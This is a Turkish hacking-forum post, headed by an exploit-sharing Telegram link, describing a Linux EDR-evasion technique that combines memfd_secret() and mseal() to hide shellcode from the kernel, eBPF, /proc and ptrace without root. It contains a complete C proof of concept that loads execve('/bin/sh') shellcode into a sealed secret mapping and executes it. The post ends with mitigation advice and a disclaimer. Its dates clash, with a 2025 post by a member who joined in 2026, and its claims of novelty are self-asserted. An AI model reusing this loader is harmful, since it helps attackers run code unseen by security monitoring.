exploit paylaşım grubumuz: t.me/HTTPwnn

Savunmaya Karşı Saldırı:Linux’ta Tarafımca Bulunan Yeni Bir Defense Evasion Tekniği: `memfd_secret()` + `mseal()` ile EDR’yi Atlatmak

  • Konu başlatıcı Konu başlatıcı Nullsans
  • Başlangıç Tarihi Başlangıç Tarihi

Nullsans

WarNight Member
Katılım
26 Haz 2026
Mesaj
5
Reaksiyon
6
Puan
3
xentr_thread_starter
Linux’ta Yeni Bir Defense Evasion Tekniği: `memfd_secret()` + `mseal()` ile EDR’yi Atlatmak

BoxStrike Araştırma Ekibinden Nullsans – 9 Temmuz 2025
Referanslar:https://github.com/BoxStrikesTeam/Counter-Attack-Injection-Method

https://boxstrikesteam.github.io/Bulgular/001/Bulgu-001.html
Son durum:Mitre-Attack da daha bulunmayan tarafımızca yeni keşfedilmiş saldırı methodu

Giriş: Güvenlik Özellikleri Nasıl Saldırı Aracına Dönüşür?

Güvenlik dünyasında sık sık söylenen bir söz vardır: “Her yeni güvenlik önlemi, aynı zamanda yeni bir saldırı vektörüdür.”Bugün sizlerle paylaşacağımız bulgu, bu sözün en somut örneklerinden biri.

Linux çekirdeğine son yıllarda eklenen iki önemli güvenlik özelliği — `memfd_secret()` ve `mseal()` — aslında sistemleri daha güvenli hale getirmek için tasarlanmıştı. Ancak bu iki özelliği birleştirdiğimizde ortaya çıkan şey, bir saldırganın EDR/XDR araçlarından tamamen gizlenebileceği bir bellek bölgesi.

Evet, yanlış duymadınız. Root yetkisi gerektirmeden, herhangi bir kullanıcının çalıştırabileceği bir yöntemle, shellcode’unuzu sistemdeki en yetkili araçların bile göremeyeceği bir alana saklayabilirsiniz.

Bu yazıda, bu tekniğin nasıl çalıştığını, neden bu kadar tehlikeli olduğunu ve aslında bu durumun Linux çekirdek mimarisindeki daha büyük bir tasarım sorununu nasıl ortaya çıkardığını anlatacağım.

-

`memfd_secret()`: Belleği Çekirdekten Gizlemek

Ne işe yarar?

`memfd_secret()`, Linux 5.14 ile çekirdeğe eklenmiş bir sistem çağrısıdır. Amacı, bir sürecin, **çekirdek de dahil olmak üzere hiç kimsenin erişemeyeceği** bir bellek bölgesi oluşturmasına izin vermektir. Bu özellik, özellikle kriptografik anahtarlar gibi çok hassas verileri korumak için tasarlanmıştır.

Nasıl çalışır?
  • - `memfd_secret()` çağrıldığında, RAM’de var olan anonim bir dosya oluşturur.
  • - Bu dosya, `mmap()` ile sürecin adres alanına eşlenir.
  • - **Kritik adım:** Eşleme yapıldığında, bu bölgeye ait fiziksel sayfalar **çekirdeğin doğ imrudan eşleme (direct map) alanından kaldırılır.**
  • - Artık çekirdek bu fiziksel adresleri bilmez ve erişemez.

Sonuç:
  • - eBPF ile `bpf_probe_read_user()` çağrısı `EFAULT` hatası döndürür.
  • - `/proc/<pid>/mem` veya `ptrace` ile okunamaz.
  • - DMA işlemleri bu bölgeyi göremez.
  • - Ve en önemlisi: **Root yetkisi gerektirmez.** Herhangi bir kullanıcı bu çağrıyı yapabilir.

---

mseal()`: Bellek Bölgesini Mühürlemek

Ne işe yarar?
`mseal()`, Linux 6.10 ile eklenmiş bir diğer güvenlik özelliğidir. Bir bellek bölgesini (VMA) mühürleyerek, gelecekteki değişikliklere karşı korur.

Nasıl çalışır?
- Bir VMA’ya `VM_SEALED` bayrağı eklenir.
  • - Bu bayrak, o bölge üzerinde aşağıdaki işlemleri engeller:
  • - `mprotect()` ile koruma bayraklarını değiştirmek
  • - `munmap()` ile bölgeyi kaldırmak
  • - `mremap()` ile taşımak veya boyut değiştirmek
  • - `mmap(MAP_FIXED)` ile üzerine yeni eşleme yapmak
Sonuç: Mühürlenen bölge, artık değiştirilemez, kaldırılamaz veya taşınamaz. Bu da, bir saldırganın shellcode’unu korumak için biçilmiş kaftan.

---

İkisinin Birleşimi: EDR’nin Kâbusu

Şimdi bu iki özelliği birleştirdiğimizi düşünün:

1. `memfd_secret()` ile çekirdeğin göremeyeceği bir bellek bölgesi oluşturuyoruz.
2. İçine shellcode’umuzu kopyalıyoruz.
3. `mseal()` ile bu bölgeyi mühürlüyoruz.

Artık bu shellcode:
  • - Okunamaz – çünkü çekirdek sayfa tablolarından kaldırıldı.
  • - Değiştirilemez– çünkü mühürlendi.
  • - Tespit edilemez– çünkü ne eBPF ne `/proc` ne de `ptrace` bu bölgeyi görebilir.

Ve tüm bunlar root yetkisi gerektirmeden yapılabiliyor. Sıradan bir kullanıcı, web sunucusu, container içindeki bir proses… Herkes bu tekniği uygulayabilir.

---

Proof-of-Concept: Çalışan Bir Örnek

Aşağıdaki PoC, bu tekniğin çalıştığını gösteriyor. `execve("/bin/sh")` shellcode’unu gizli, mühürlü bir bölgeye yerleştirip çalıştırıyor.


C:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <errno.h>

#ifndef __NR_memfd_secret
#define __NR_memfd_secret 447
#endif
#ifndef __NR_mseal
#define __NR_mseal 462
#endif

unsigned char shellcode[] = {
    0x48, 0x31, 0xc0,       // xor rax, rax
    0x48, 0x31, 0xd2,       // xor rdx, rdx
    0x48, 0x31, 0xf6,       // xor rsi, rsi
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
    0x53,                   // push rbx
    0x48, 0x89, 0xe7,       // mov rdi, rsp
    0xb0, 0x3b,             // mov al, 59
    0x0f, 0x05              // syscall
};

int main() {
    int fd = syscall(__NR_memfd_secret, 0);
    if (fd == -1) return 1;

    void *addr = mmap(NULL, sizeof(shellcode),
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_SHARED, fd, 0);
    if (addr == MAP_FAILED) return 1;

    memcpy(addr, shellcode, sizeof(shellcode));

    if (syscall(__NR_mseal, addr, sizeof(shellcode), 0) == 0)
        printf("[+] Shellcode sealed.\n");

    printf("[+] Executing hidden shellcode...\n");
    ((void (*)())addr)();
    return 0;
}


Derleyip çalıştırdığınızda, bir kabuk açılır. Bu kabuk, sistemdeki hiçbir EDR’nin okuyamadığı bir bellek bölgesinden çalışmaktadır.



Mimari Eleştiri: Neden Bu Bir Tasarım Hatası?

Bu bulguyu sadece bir “saldırı tekniği” olarak görmek yanlış olur. Aslında bu, Linux çekirdek mimarisindeki daha büyük bir sorunun belirtisidir.

Sorun şu: Bir işletim sisteminde en yetkili katman çekirdektir (kernel). Çekirdek, tüm belleği görebilmeli, denetleyebilmeli ve yönetebilmelidir. `memfd_secret()`, bu prensibi ihlal ederek çekirdeğin belirli bellek bölgelerini görmesini engeller.

Peki bu ne anlama gelir?*
  • - Saldırgan zaten root ise, bu koruma onu durdurmaz (root `/dev/mem`, kendi modülü veya `ptrace` ile erişebilir).
  • - Saldırgan root değilse, bu koruma zaten ona engel değildir (zaten erişemez).
  • - Asıl mağdur, meşru güvenlik araçlarıdır.EDR, AV, adli bilişim araçları bu bölgeleri göremez, okuyamaz ve analiz edemez.

Sonuç: Bu özellik, saldırganın işini kolaylaştırmaktan başka bir işe yaramaz. Çünkü saldırgan zaten sistemde bir şekilde bulunuyorsa, bu gizli bölge ona tespit edilemeyen bir alan sunar.

---

Ne Yapmalı? Önerilerimiz

Sistem Yöneticileri İçin:

1. **`memfd_secret()`’i devre dışı bırakın:**
Çekirdek parametresi olarak `secretmem.enable=0` ekleyin.
2. **seccomp-bpf ile kısıtlayın:**
İhtiyaç duymayan süreçler için `memfd_secret` ve `mseal` çağrılarını engelleyin.
3. **Davranışsal izleme yapın:**
Aynı süreçte `memfd_secret` + `mseal` zincirini tespit edin.

Linux Geliştiricileri İçin:
- **Görünürlük modelini yeniden tasarlayın:**
Bu bölgeler root ve güvenilir eBPF programları tarafından okunabilir olsun, ancak yetkisiz kullanıcılar erişemesin.
- **Orijinal commit’te vaat edilen “opt-in flag”i uygulayın.**
Bu, denetim (auditability) ile gizlilik arasındaki dengeyi kuracaktır.

---

Sonuç

Güvenlik önlemleri, sistemin işleyişini karmaşıklaştırmamalı, aksine denetlenebilirliği artırmalıdır. `memfd_secret()` ve `mseal()`’in mevcut tasarımı, bu prensibe aykırıdır ve saldırganlara yeni bir savunma atlatma yöntemi sunmaktadır.

Biz BoxStrike ekibi olarak, bu bulguyu Linux topluluğuna bildirdik ve yapıcı öneriler sunduk. Umarız bu tartışma, gelecekte daha dengeli güvenlik mimarilerinin tasarlanmasına katkı sağlar.

Bu tekniği kötü amaçlı kullanmayın. Amacımız, sistemleri daha güvenli hale getirmek için farkındalık yaratmaktır.

---

BoxStrike Araştırma Ekibi
İletişim: [email protected]
#LinuxSecurity #DefenseEvasion #memfd_secret #mseal #EDRBypass
 
Geri
En Üst